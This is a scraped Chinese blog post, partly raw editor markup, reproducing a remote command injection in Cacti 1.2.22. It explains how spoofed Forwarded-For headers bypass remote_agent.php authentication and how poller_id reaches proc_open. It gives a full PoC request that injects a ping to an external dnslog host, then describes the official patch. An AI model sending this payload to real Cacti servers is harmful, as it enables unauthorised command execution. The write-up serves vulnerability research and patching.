4;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;alUh-1670987252853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wzbt-1670987254124&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4638/WEBRESOURCE04a7d82df01356be5e16493865403888&#34;,&#34;width&#34;:719,&#34;height&#34;:415},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4638/WEBRESOURCE04a7d82df01356be5e16493865403888&#34;,&#34;initialSize&#34;:{&#34;width&#34;:719,&#34;height&#34;:1142},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJnA-1670945996208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4583/WEBRESOURCE69d324130f41919eddff1d434f3a7e42&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4583/WEBRESOURCE69d324130f41919eddff1d434f3a7e42&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6vQW-1670945868463&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6XEY-1670945868462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在查询出的item满足POLLER_ACTION_SCRIPT_PHP也就是2时，将会把获取到的poller_id拼接到proc_open命令中，配合前面提到的poller_id的传输未进行任何相关过滤操作，造成命令注入，并最终执行任意命令：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NMA3-1670946127980&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MZ3T-1670946127953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Ei-1670946127952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AkG2-1670946127955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rx6Q-1670946127954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $cactides = array(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b03w-1670946127957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aoAu-1670946127956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      0 =&gt; array(&#39;pipe&#39;, &#39;r&#39;), // stdin is a pipe that the child will read from&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kJR0-1670946127959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j3aQ-1670946127958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      1 =&gt; array(&#39;pipe&#39;, &#39;w&#39;), // stdout is a pipe that the child will write to&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OadF-1670946127961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G6yg-1670946127960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      2 =&gt; array(&#39;pipe&#39;, &#39;w&#39;)  // stderr is a pipe to write to&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jOmk-1670946127963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GtJ2-1670946127962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   );&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ii0G-1670946127965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfgk-1670946127964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9bLU-1670946127967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FGcb-1670946127966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   if (function_exists(&#39;proc_open&#39;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X028-1670946127969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Fni-1670946127968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      $cactiphp = proc_open(read_config_option(&#39;path_php_binary&#39;) . &#39; -q &#39; . $config[&#39;base_path&#39;] . &#39;/script_server.php realtime &#39; . $poller_id, $cactides, $pipes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PuAm-1670946127971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXW-1670946127970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      $output = fgets($pipes[1], 1024);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZuFQ-1670946127973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nudA-1670946127972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      $using_proc_function = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tamH-1670946127975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MHCC-1670946127974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DpUI-1670946127977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fk84-1670946127976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      $using_proc_function = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N0F-1670946127979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KKFK-1670946127978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;php&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r8aH-1670946172062&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uASf-1670946172063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xzx4-1670946155742&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4587/WEBRESOURCE8376f05ca92453f6e190da4799b4bd52&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4587/WEBRESOURCE8376f05ca92453f6e190da4799b4bd52&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0bln-1670946228777&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4590/WEBRESOURCEfbf9971850f0cf860de69e10a98487ff&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4590/WEBRESOURCEfbf9971850f0cf860de69e10a98487ff&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DoRL-1670946175450&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Skx-1670946175451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;poc如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CDvn-1670986499960&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j2ue-1670986499959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZphX-1670946540062&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;GET /cacti/remote_agent.php?action=polldata&amp;local_data_ids[]=4&amp;host_id=1&amp;poller_id=%26ping%2007t62t.dnslog.cn HTTP/1.1\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SVrG-1670986500520&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZQq-1670986500519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Host: 127.0.0.1\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i0Bs-1670986500522&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lFDE-1670986500521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Cache-Control: max-age=0\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SDX1-1670986500524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x0tr-1670986500523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Upgrade-Insecure-Requests: 1\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9y5r-1670986500526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P9RH-1670986500525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qsrc-1670986500528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VNrD-1670986500527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;awwq-1670986500530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GaYl-1670986500529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Accept-Encoding: gzip, deflate\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aP77-1670986500532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x14H-1670986500531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Accept-Language: zh-CN,zh;q=0.9\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f7O5-1670986500534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E9uz-1670986500533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Forwarded-For: 127.0.0.1\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HgIx-1670986500536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yhyy-1670986500535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Cookie: CactiTimeZone=480; Cacti=trkpi9bkait9b6i8sn5rchhlqt; CactiDateTime=Mon Dec 12 2022 15:15:16 GMT+0800 (ä¸­å½æ åæ¶é´); XDEBUG_SESSION=XDEBUG_ECLIPSE\r&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RA8J-1670986500538&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bu9f-1670986500537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Connection: close&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sA9f-1670946540474&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FmGZ-1670946540472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqXm-1670986471087&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4627/WEBRESOURCEc34924c4ebb010622ca43ca6afe36714&#34;,&#34;width&#34;:2860,&#34;height&#34;:1252},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4627/WEBRESOURCEc34924c4ebb010622ca43ca6afe36714&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2860,&#34;height&#34;:1252},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VmfC-1670946173748&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wZmq-1670946173747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lq5t-1670946619808&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GlAa-1670946619809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;官方补丁修复：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CjmG-1670946630965&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPBT-1670946630963&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;对get_client_addr()方法进行了重写&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B5e9-1670946640005&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4609/WEBRESOURCEfc3186c73e147e751d0d6cb03ffd7176&#34;,&#34;width&#34;:2934,&#34;height&#34;:1608},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4609/WEBRESOURCEfc3186c73e147e751d0d6cb03ffd7176&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2934,&#34;height&#34;:1608},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQN4-1670946640009&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iKRy-1670946640007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wNQ1-1670946672003&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4612/WEBRESOURCEa6620809b92f015908161a3579cd8dad&#34;,&#34;width&#34;:2944,&#34;height&#34;:1544},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4612/WEBRESOURCEa6620809b92f015908161a3579cd8dad&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2944,&#34;height&#34;:1544},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTUF-1670946672007&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kaKS-1670946672005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;并用包含过滤逻辑的get_filter_request_var()函数来获取poller_id参数：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ikrp-1670946691010&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4614/WEBRESOURCEabcbc2f302517fa2c11dd7a3b069faf4&#34;,&#34;width&#34;:2924,&#34;height&#34;:1626},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4614/WEBRESOURCEabcbc2f302517fa2c11dd7a3b069faf4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2924,&#34;height&#34;:1626},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jYvF-1670946691013&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ERtc-1670946691012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;针对PHP &lt;5.4的版本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7MA5-1670946935104&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4622/WEBRESOURCEf49e52c8a4b8532a597cf81916992598&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4622/WEBRESOURCEf49e52c8a4b8532a597cf81916992598&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zxw8-1670946935109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NtoV-1670946935108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HI2t-1670989222060&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0PiT-1670989222058&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r0dz-1670989222567&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iB5E-1670989222565&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><p><span style="font-size: 14px;">Cacti项目是一个开源平台，可为用户提供强大且可扩展的操作监控和故障管理框架。</span></p><p><span style="font-size: 14px;">由于</span><span style="color: rgb(243, 50, 50);font-style: italic;font-size: 14px;">remote_agent.php</span><span style="font-size: 14px;">中的case </span><span style="font-style: italic;color: rgb(243, 50, 50);font-size: 14px;">POLLER_ACTION_SCRIPT_PHP</span><span style="font-size: 14px;"> 在使用proc_open函数时未对传入的</span><span style="font-style: italic;color: rgb(243, 50, 50);font-size: 14px;">poller_id</span><span style="font-size: 14px;">参数做严格过滤，攻击者可构造满足条件的payload对相关目标系统进行命令注入，导致远程命令执行。</span></p><p><span style="font-size: 14px;">影响范围：</span></p><p><span style="font-size: 14px;">Cacti == 1.2.22</span></p><p><span style="font-weight: bold;font-size: 28px;"><br/></span></p><p><span style="font-weight: bold;font-size: 28px;">正文 </span></p><p><span style="font-size: 14px;">由于没有公开的poc，参考官方修复方案与漏洞描述进行poc挖掘与复现。</span></p><p><span style="font-size: 14px;">环境搭建参考：</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://blog.csdn.net/katrina0602/article/details/103710840" target="_blank">https://blog.csdn.net/katrina0602/article/details/103710840</a></span></p><p><span style="font-size: 14px;">主要看remote_agent.php：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=f9ae7774&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pbxAYbf7xicVE10WdicaBApy28eoGGlF7VCKyQbpL0mulax52QPUUVsAQ%2F640%3Fwx_fmt%3Dpng"/></p><p>在进行下一步操作前会调用<span style="color: rgb(243, 50, 50);font-style: italic;">remote_client_authorized()</span>进行身份验证：</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=847a7757&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pNy3LvXCMyA1JBEDhT1eSfic4cicTibGib15IQsticF1tLuOiakwVcndHuCYQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">首先会通过get_client_addr()函数获取client_addr，然后从数据库中获取pollers对象集合逐一比对poller的hostname字段，而get_client_addr()会从下述header头中取出client_addr的值。</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=8ae9b744&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pT6kicTDYXibe3CyOEljjcCUMplTboCtgku0FicUXWfd7d2c1kWbicCQJ2Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">要满足上述条件，显然我们需要数据库中有一个poller满足hostname与我们通过上述header头传输的client_addr值相等：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6104294478527608" style="width: 609px;height: 373px;" data-type="png" data-w="1956" src="https://wechat2rss.xlab.app/img-proxy/?k=7d69e258&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pRibzmDx8gaicicISK8PicdHqn1jbyiaAunuSBIibZzk5paDTnsNFwaErOdQQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">同时经过测试X-Forwarded-For，Forwarded-For ，Client-ip以HTTP开头字段(经p师傅指点)能满足上述传值的条件：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.9901185770750988" style="width: 605px;height: 599px;" data-type="png" data-w="1012" src="https://wechat2rss.xlab.app/img-proxy/?k=39c7ef90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pIAia8IkC83RrNKIy8QOINb5XbxxtUpmdABhgRibrduv9dZ1iahJuv1ibpQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">至此我们成功绕过了身份校验访问到了remote_agent.php：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6781002638522428" style="width: 832px;height: 565px;" data-type="png" data-w="1516" src="https://wechat2rss.xlab.app/img-proxy/?k=5d17cf41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pbMs7ibbdQlnKGwMWsWLdrDFHksMDYpUAKGsjxybJZJG4vrlXibwISsbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">接下来，会进入一个action的case逻辑中，可以看到polldata的逻辑中会调用poll_for_data()函数：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" 